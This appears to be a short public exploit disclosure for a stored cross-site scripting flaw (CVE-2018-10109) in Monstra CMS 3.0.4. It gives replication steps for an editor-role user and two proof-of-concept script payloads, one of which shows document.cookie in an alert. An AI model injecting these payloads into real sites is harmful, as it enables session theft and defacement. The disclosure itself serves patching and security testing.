# Exploit Title: Monstra cms 3.0.4 - Persitent Cross-Site Scripting # Date: 2018-04-14 # Exploit Author: Wenming Jiang # Vendor Homepage: https://github.com/monstra-cms/monstra # Software Link: https://github.com/monstra-cms/monstra # Version: 3.0.4 # Tested on: php 5.6, apache2.2.29, macos 10.12.6 # CVE :CVE-2018-10109 #Description: #Monstra CMS 3.0.4 has a stored XSS vulnerability when an attacker has access to the editor role, and enters the payload #in the content section of a new page in the blog catalog. #Steps to replicate: #1. log into the system as an editor role #2. creat a new page in the blog catalog #3. navigate to content section #4. enter payload: <script>alert(document.cookie)</script> #5. visit http://<your_site>/monstra/blog/<page_name>.php, you will triage JavaScript execution #Exploit Code: <script>alert(document.cookie)</script> or <img src=1 onerror=alert(/xss/) >